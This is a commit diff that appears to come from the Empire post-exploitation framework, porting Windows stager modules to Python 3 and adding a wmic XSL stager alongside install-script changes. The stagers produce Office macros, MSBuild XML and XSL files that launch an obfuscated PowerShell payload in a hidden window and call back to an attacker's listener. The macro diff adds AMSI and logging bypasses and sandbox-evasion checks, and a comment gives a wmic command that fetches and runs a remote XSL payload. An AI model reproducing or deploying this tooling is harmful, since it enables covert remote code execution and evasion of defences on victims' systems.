105 print(helpers.color("[!] Error in launcher command generation."))
104106 return ""
105107 else:
106108 code = "Dim objShell\n"
+6
-4
lib/stagers/windows/launcher_xml.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
4244 'ObfuscateCommand' : {
4345 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
4446 'Required' : False,
45 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
47 'Value' : r'Token\All\1'
4648 },
4749 'OutFile': {
4850 'Description': 'File to output XML to, otherwise displayed on the screen.',
100102
101103 launcher_array=launcher.split()
102104 if len(launcher_array) > 1:
103 print helpers.color("[*] Removing Launcher String")
105 print(helpers.color("[*] Removing Launcher String"))
104106 launcher = launcher_array[-1]
105107
106108 if launcher == "":
107 print helpers.color("[!] Error in launcher command generation.")
109 print(helpers.color("[!] Error in launcher command generation."))
108110 return ""
109111 else:
110112 code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
+86
-14
lib/stagers/windows/macro.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import range
3 from builtins import object
04 from lib.common import helpers
15 import random, string
26
3 class Stager:
7 class Stager(object):
48
59 def __init__(self, mainMenu, params=[]):
610
3640 'Value' : '0'
3741 },
3842 'OutFile' : {
39 'Description' : 'File to output macro to, otherwise displayed on the screen.',
40 'Required' : False,
41 'Value' : '/tmp/macro'
43 'Description' : 'File to output launcher to, otherwise displayed on the screen.',
44 'Required' : False,
45 'Value' : ''
46 },
47 'Base64' : {
48 'Description' : 'Switch. Base64 encode the output.',
49 'Required' : True,
50 'Value' : 'True'
4251 },
4352 'Obfuscate' : {
4453 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
4857 'ObfuscateCommand' : {
4958 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
5059 'Required' : False,
51 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
52 },
60 'Value' : r'Token\All\1'
61 },
62 'SafeChecks' : {
63 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
64 'Required' : True,
65 'Value' : 'True'
66 },
5367 'UserAgent' : {
5468 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
5569 'Required' : False,
6478 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
6579 'Required' : False,
6680 'Value' : 'default'
81 },
82 'ScriptLogBypass' : {
83 'Description' : 'Include cobbr\'s Script Block Log Bypass in the stager code.',
84 'Required' : False,
85 'Value' : 'True'
86 },
87 'AMSIBypass' : {
88 'Description' : 'Include mattifestation\'s AMSI Bypass in the stager code.',
89 'Required' : False,
90 'Value' : 'True'
91 },
92 'AMSIBypass2' : {
93 'Description' : 'Include Tal Liberman\'s AMSI Bypass in the stager code.',
94 'Required' : False,
95 'Value' : 'False'
96 },
97 'OutlookEvasion' : {
98 'Description' : 'Include BC-Securty\'s Outlook Sandbox evasion code',
99 'Required' : False,
100 'Value' : 'False'
67101 }
68102 }
69103
83117 # extract all of our options
84118 language = self.options['Language']['Value']
85119 listenerName = self.options['Listener']['Value']
86 userAgent = self.options['UserAgent']['Value']
120 base64 = self.options['Base64']['Value']
87121 obfuscate = self.options['Obfuscate']['Value']
88122 obfuscateCommand = self.options['ObfuscateCommand']['Value']
123 userAgent = self.options['UserAgent']['Value']
89124 proxy = self.options['Proxy']['Value']
90125 proxyCreds = self.options['ProxyCreds']['Value']
91126 stagerRetries = self.options['StagerRetries']['Value']
92
93 obfuscateScript = False
127 safeChecks = self.options['SafeChecks']['Value']
128 scriptLogBypass = self.options['ScriptLogBypass']['Value']
129 AMSIBypass = self.options['AMSIBypass']['Value']
130 AMSIBypass2 = self.options['AMSIBypass2']['Value']
131 OutlookEvasion = self.options['OutlookEvasion']['Value']
132
133 encode = False
134 if base64.lower() == "true":
135 encode = True
136
137 invokeObfuscation = False
94138 if obfuscate.lower() == "true":
95 obfuscateScript = True
139 invokeObfuscation = True
140
141 scriptLogBypassBool = False
142 if scriptLogBypass.lower() == "true":
143 scriptLogBypassBool = True
144
145 AMSIBypassBool = False
146 if AMSIBypass.lower() == "true":
147 AMSIBypassBool = True
148
149 AMSIBypass2Bool = False
150 if AMSIBypass2.lower() == "true":
151 AMSIBypass2Bool = True
152
153 OutlookEvasionBool = False
154 if OutlookEvasion.lower() == "true":
155 OutlookEvasionBool = True
96156
97157 # generate the launcher code
98 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
158 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, safeChecks=safeChecks, scriptLogBypass=scriptLogBypassBool, AMSIBypass=AMSIBypassBool, AMSIBypass2=AMSIBypass2Bool)
99159 Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
100160 Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
101161
102162 if launcher == "":
103 print helpers.color("[!] Error in launcher command generation.")
163 print(helpers.color("[!] Error in launcher command generation."))
104164 return ""
105165 else:
106166 chunks = list(helpers.chunks(launcher, 50))
121181 macro += "End Sub\n\n"
122182
123183 macro += "Public Function "+Method+"() As Variant\n"
184 macro += "\tstrComputer = \".\"\n"
185 macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
186 if OutlookEvasionBool == True:
187 macro += "\tSet ID = objWMIService.ExecQuery(\"Select IdentifyingNumber from Win32_ComputerSystemproduct\")\n"
188 macro += "\tFor Each objItem In ID\n"
189 macro += "\t\tIf StrComp(objItem.IdentifyingNumber, \"2UA20511KN\") = 0 Then End\n"
190 macro += "\tNext\n"
191 macro += "\tSet disksize = objWMIService.ExecQuery(\"Select Size from Win32_logicaldisk\")\n"
192 macro += "\tFor Each objItem In disksize\n"
193 macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n"
194 macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n"
195 macro +="\tNext\n"
196
124197 macro += payload
125198 macro += "\tConst HIDDEN_WINDOW = 0\n"
126 macro += "\tstrComputer = \".\"\n"
127 macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
199
128200 macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
129201 macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
130202 macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
+5
-3
lib/stagers/windows/macroless_msword.py less more
00 # -*- coding: utf-8 -*-
1 from __future__ import print_function
2 from builtins import object
13 from lib.common import helpers
24 import os
35
4 class Stager:
6 class Stager(object):
57
68 def __init__(self, mainMenu, params=[]):
79
7173 ps1 = self.options['OutputPs1']['Value']
7274
7375 if not self.mainMenu.listeners.is_listener_valid(listener):
74 print helpers.color("[!] Invalid listener: " + listener)
76 print(helpers.color("[!] Invalid listener: " + listener))
7577 return ""
7678 else:
7779 launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True)
164166 craft_ps(output_path, launcher, ps1)
165167 craft_exploit(output_path, host, ps1)
166168
167 print helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))
169 print(helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path)))
168170
169171 return os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx))
170172
+6
-4
lib/stagers/windows/shellcode.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
9496
9597 if not self.mainMenu.listeners.is_listener_valid(listenerName):
9698 # not a valid listener, return nothing for the script
97 print helpers.color("[!] Invalid listener: " + listenerName)
99 print(helpers.color("[!] Invalid listener: " + listenerName))
98100 return ""
99101 else:
100102
104106 obfuscateScript = False
105107
106108 if obfuscate.lower() == "true" and "launcher" in obfuscateCommand.lower():
107 print helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")
109 print(helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager."))
108110 return ""
109111
110112 # generate the PowerShell one-liner with all of the proper options are set
111113 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
112114
113115 if launcher == "":
114 print helpers.color("[!] Error in launcher generation.")
116 print(helpers.color("[!] Error in launcher generation."))
115117 return ""
116118 else:
117119 launcherCode = launcher.split(" ")[-1]
+5
-3
lib/stagers/windows/teensy.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Stager:
4 class Stager(object):
35
46 def __init__(self, mainMenu, params=[]):
57
9799 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
98100
99101 if launcher == "":
100 print helpers.color("[!] Error in launcher command generation.")
102 print(helpers.color("[!] Error in launcher command generation."))
101103 return ""
102104 elif obfuscate and "launcher" in obfuscateCommand.lower():
103 print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager.")
105 print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager."))
104106 return ""
105107 else:
106108 enc = launcher.split(" ")[-1]
+124
-0
lib/stagers/windows/wmic.py less more
0 from __future__ import print_function
1 from builtins import object
2 from lib.common import helpers
3
4 class Stager(object):
5
6 def __init__(self, mainMenu, params=[]):
7
8 self.info = {
9 'Name': 'wmic_xsl',
10
11 'Author': ['@subTee','@mattifestation'],
12
13 'Description': ('Generates an XSL stylesheets file to be run with wmic.exe'),
14
15 'Comments': [
16 'On the endpoint simply launch wmic os get /format:"http://server/launcher.xsl"'
17 ]
18 }
19
20 # any options needed by the stager, settable during runtime
21 self.options = {
22 # format:
23 # value_name : {description, required, default_value}
24 'Listener' : {
25 'Description' : 'Listener to generate stager for.',
26 'Required' : True,
27 'Value' : ''
28 },
29 'Language' : {
30 'Description' : 'Language of the stager to generate.',
31 'Required' : True,
32 'Value' : 'powershell'
33 },
34 'StagerRetries' : {
35 'Description' : 'Times for the stager to retry connecting.',
36 'Required' : False,
37 'Value' : '0'
38 },
39 'OutFile' : {
40 'Description' : 'File to output XSL to, otherwise displayed on the screen.',
41 'Required' : False,
42 'Value' : '/tmp/launcher.xsl'
43 },
44 'Base64' : {
45 'Description' : 'Switch. Base64 encode the output.',
46 'Required' : True,
47 'Value' : 'True'
48 },
49 'Obfuscate' : {
50 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
51 'Required' : False,
52 'Value' : 'False'
53 },
54 'ObfuscateCommand' : {
55 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
56 'Required' : False,
57 'Value' : r'Token\All\1,Launcher\STDIN++\12467'
58 },
59 'UserAgent' : {
60 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
61 'Required' : False,
62 'Value' : 'default'
63 },
64 'Proxy' : {
65 'Description' : 'Proxy to use for request (default, none, or other).',
66 'Required' : False,
67 'Value' : 'default'
68 },
69 'ProxyCreds' : {
70 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
71 'Required' : False,
72 'Value' : 'default'
73 }
74 }
75
76 # save off a copy of the mainMenu object to access external functionality
77 # like listeners/agent handlers/etc.
78 self.mainMenu = mainMenu
79
80 for param in params:
81 # parameter format is [Name, Value]
82 option, value = param
83 if option in self.options:
84 self.options[option]['Value'] = value
85
86
87 def generate(self):
88
89 # extract all of our options
90 language = self.options['Language']['Value']
91 listenerName = self.options['Listener']['Value']
92 base64 = self.options['Base64']['Value']
93 obfuscate = self.options['Obfuscate']['Value']
94 obfuscateCommand = self.options['ObfuscateCommand']['Value']
95 userAgent = self.options['UserAgent']['Value']
96 proxy = self.options['Proxy']['Value']
97 proxyCreds = self.options['ProxyCreds']['Value']
98 stagerRetries = self.options['StagerRetries']['Value']
99
100 encode = False
101 if base64.lower() == "true":
102 encode = True
103
104 obfuscateScript = False
105 if obfuscate.lower() == "true":
106 obfuscateScript = True
107
108 # generate the launcher code
109 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
110
111 if launcher == "":
112 print(helpers.color("[!] Error in launcher command generation."))
113 return ""
114 else:
115 code = "<?xml version=\"1.0\"?><stylesheet\n"
116 code += "xmlns=\"http://www.w3.org/1999/XSL/Transform\" xmlns:ms=\"urn:schemas-microsoft-com:xslt\"\n"
117 code += "xmlns:user=\"placeholder\"\n"
118 code += "version=\"1.0\">\n"
119 code += "<output method=\"text\"/><ms:script implements-prefix=\"user\" language=\"JScript\">"
120 code += "<![CDATA[var r = new ActiveXObject(\"WScript.Shell\").Run(\""
121 code += launcher
122 code += "\");]]></ms:script></stylesheet>"
123 return code
+1
-0
plugins/example.py less more
00 """ An example of a plugin. """
1 from __future__ import print_function
12
23 from lib.common.plugins import Plugin
34 import lib.common.helpers as helpers
+55
-71
setup/install.sh less more
1313 # Deb 9.x
1414 if cat /etc/debian_version | grep 9.* ; then
1515 # Install system components
16 sudo apt-get update
1716 sudo apt-get install -y apt-transport-https curl
1817 # Import the public repository GPG keys
1918 curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
2322 sudo apt-get update
2423 # Install PowerShell
2524 sudo apt-get install -y powershell
26 fi
2725 # Deb 8.x
28 if cat /etc/debian_version | grep 8.* ; then
26 elif cat /etc/debian_version | grep 8.* ; then
2927 # Install system components
30 sudo apt-get update
3128 sudo apt-get install -y apt-transport-https curl gnupg
3229 # Import the public repository GPG keys
3330 curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
3734 sudo apt-get update
3835 # Install PowerShell
3936 sudo apt-get install -y powershell
40 fi
41 #Ubuntu 14.x
42 if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=14'; then
37 #Ubuntu
38 elif lsb_release -d | grep -q "Ubuntu"; then
39 # Read Ubuntu version
40 local ubuntu_version=$( grep 'DISTRIB_RELEASE=' /etc/lsb-release | grep -o -E [[:digit:]]+\\.[[:digit:]]+ )
4341 # Install system components
44 sudo apt-get update
45 sudo apt-get install -y apt-transport-https curl
42 sudo apt-get install -y apt-transport-https curl
4643 # Import the public repository GPG keys
4744 curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
4845 # Register the Microsoft Ubuntu repository
49 curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
46 curl https://packages.microsoft.com/config/ubuntu/$ubuntu_version/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
5047 # Update the list of products
5148 sudo apt-get update
5249 # Install PowerShell
5350 sudo apt-get install -y powershell
54 fi
55 #Ubuntu 16.x
56 if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=16'; then
57 # Install system components
58 sudo apt-get update
59 sudo apt-get install -y apt-transport-https curl
51 #Kali Linux
52 elif cat /etc/lsb-release | grep -i 'Kali'; then
53 # Install prerequisites
54 apt-get install -y curl gnupg apt-transport-https
6055 # Import the public repository GPG keys
6156 curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
62 # Register the Microsoft Ubuntu repository
63 curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
57 # Register the Microsoft Product feed
58 sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
6459 # Update the list of products
65 sudo apt-get update
60 apt-get update
61 wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu57_57.1-6_amd64.deb
62 dpkg -i libicu57_57.1-6_amd64.deb
6663 # Install PowerShell
67 sudo apt-get install -y powershell
64 apt-get install -y powershell
6865 fi
69 #Ubuntu 17.x
70 if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=17'; then
71 # Install system components
72 sudo apt-get update
73 sudo apt-get install -y apt-transport-https curl
74 # Import the public repository GPG keys
75 curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
76 # Register the Microsoft Ubuntu repository
77 curl https://packages.microsoft.com/config/ubuntu/17.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
78 # Update the list of products
79 sudo apt-get update
80 # Install PowerShell
81 sudo apt-get install -y powershell
82 fi
83 #Kali Linux
84 if cat /etc/lsb-release | grep -i 'Kali'; then
85 # Install prerequisites
86 apt-get install libunwind8 libicu55
87 wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
88 dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
89 # Install PowerShell
90 wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0/powershell_6.0.0-1.ubuntu.16.04_amd64.deb
91 dpkg -i powershell_6.0.0-1.ubuntu.16.04_amd64.deb
92
93 fi
9466 fi
9567 if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
9668 rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
11082 cd ./setup
11183 fi
11284
113 # Check for PIP otherwise install it
114 if ! which pip > /dev/null; then
115 wget https://bootstrap.pypa.io/get-pip.py
116 python get-pip.py
117 fi
118
11985 if uname | grep -q "Darwin"; then
86 Xar_version="xar-1.5.2"
12087 install_powershell
12188 sudo pip install -r requirements.txt --global-option=build_ext \
12289 --global-option="-L/usr/local/opt/openssl/lib" \
12390 --global-option="-I/usr/local/opt/openssl/include"
124 # In order to build dependencies these should be exproted.
91 # In order to build dependencies these should be exproted.
12592 export LDFLAGS=-L/usr/local/opt/openssl/lib
12693 export CPPFLAGS=-I/usr/local/opt/openssl/include
12794 else
12996 version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
13097 if lsb_release -d | grep -q "Fedora"; then
13198 Release=Fedora
132 sudo dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0.0 libssl-dev build-essential
133 pip install --upgrade pip
134 sudo pip install -r requirements.txt
99 Xar_version="xar-1.5.2"
100 sudo dnf install -y make automake gcc gcc-c++ python-devel m2crypto python-m2ext swig libxml2-devel java-openjdk-headless openssl-devel openssl libffi-devel redhat-rpm-config
101 sudo pip install -r requirements.txt
135102 elif lsb_release -d | grep -q "Kali"; then
136103 Release=Kali
137 wget http://ftp.us.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
138 dpkg -i libssl1.0.0_1.0.1t-1+deb8u7_amd64.deb
139 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk zlib1g-dev libssl1.0-dev build-essential libssl1.0-dev libxml2-dev zlib1g-dev
140 pip install --upgrade pip
141 sudo pip install -r requirements.txt
104 Xar_version="xar-1.6.1"
105 apt-get update
106 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk zlib1g-dev libssl1.1 build-essential libssl-dev libxml2-dev zlib1g-dev
107 sudo pip install -r requirements.txt
142108 install_powershell
143109 elif lsb_release -d | grep -q "Ubuntu"; then
144110 Release=Ubuntu
145 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev build-essential
146 pip install --upgrade pip
147 sudo pip install -r requirements.txt
111 sudo apt-get update
112 if [ $(lsb_release -rs | cut -d "." -f 1) -ge 18 ]; then
113 LibSSL_pkgs="libssl1.1 libssl-dev"
114 Pip_file="requirements.txt"
115 Xar_version="xar-1.6.1"
116 else
117 LibSSL_pkgs="libssl1.0.0 libssl-dev"
118 Pip_file="requirements_libssl1.0.txt"
119 Xar_version="xar-1.5.2"
120 fi
121 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk $LibSSL_pkgs build-essential
122 sudo pip install -r $Pip_file
148123 install_powershell
149124 else
150125 echo "Unknown distro - Debian/Ubuntu Fallback"
151 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0.0 libssl-dev build-essential
152 pip install --upgrade pip
153 sudo pip install -r requirements.txt
126 sudo apt-get update
127 if [ $(cut -d "." -f 1 /etc/debian_version) -ge 9 ]; then
128 LibSSL_pkgs="libssl1.1 libssl-dev"
129 Pip_file="requirements.txt"
130 Xar_version="xar-1.6.1"
131 else
132 LibSSL_pkgs="libssl1.0.0 libssl-dev"
133 Pip_file="requirements_libssl1.0.txt"
134 Xar_version="xar-1.5.2"
135 fi
136 sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev $LibSSL_pkgs build-essential
137 sudo pip install -r $Pip_file
154138 install_powershell
155139 fi
156140 fi
157141
158142 # Installing xar
159 tar -xvf ../data/misc/xar-1.5.2.tar.gz
160 (cd xar-1.5.2 && ./configure)
161 (cd xar-1.5.2 && make)
162 (cd xar-1.5.2 && sudo make install)
143 tar -xvf ../data/misc/$Xar_version.tar.gz
144 (cd $Xar_version && ./configure)
145 (cd $Xar_version && make)
146 (cd $Xar_version && sudo make install)
163147
164148 #Installing bomutils
165149 git clone https://github.com/hogliux/bomutils.git
166150 (cd bomutils && make)
167151 (cd bomutils && make install)
168152
169 # NIT: This fails on OSX. Leaving it only on Linux instances.
153 # NIT: This fails on OSX. Leaving it only on Linux instances.
170154 if uname | grep -q "Linux"; then
171155 (cd bomutils && make install)
172156 fi
setup/libicu57_57.1-6_amd64.deb less more
Binary diff not shown
+5
-4
setup/requirements.txt less more
0 urllib3>=1.21.1
1 requests==2.18.4
0 urllib3
1 requests
22 setuptools
33 iptools
44 pydispatcher
55 flask
66 macholib
77 dropbox
8 pyOpenSSL==17.2.0
8 pyOpenSSL
99 pyinstaller
1010 zlib_wrapper
1111 netifaces
1212 M2Crypto
1313 jinja2
1414 cryptography
15 pyminifier==2.1
15 pyminifier
1616 xlutils
1717 pycrypto
18 pefile
+19
-0
setup/requirements_libssl1.0.txt less more
0 urllib3>=1.21.1,<1.23
1 requests==2.18.4
2 setuptools
3 iptools
4 pydispatcher
5 flask
6 macholib
7 dropbox
8 pyOpenSSL==17.2.0
9 pyinstaller
10 zlib_wrapper
11 netifaces
12 M2Crypto
13 jinja2
14 cryptography
15 pyminifier==2.1
16 xlutils
17 pycrypto
18 pefile
+5
-2
setup/setup_database.py less more
00 #!/usr/bin/env python
11
2 from __future__ import print_function
3 from builtins import input
4 from builtins import range
25 import sqlite3, os, string, hashlib, random
36
47
1922
2023 # otherwise prompt the user for a set value to hash for the negotiation password
2124 if STAGING_KEY == "BLANK":
22 choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ")
25 choice = input("\n [>] Enter server negotiation password, enter for random generation: ")
2326 if choice == "":
2427 # if no password is entered, generation something random
2528 STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32))
174177 conn.commit()
175178 conn.close()
176179
177 print "\n [*] Database setup completed!\n"
180 print("\n [*] Database setup completed!\n")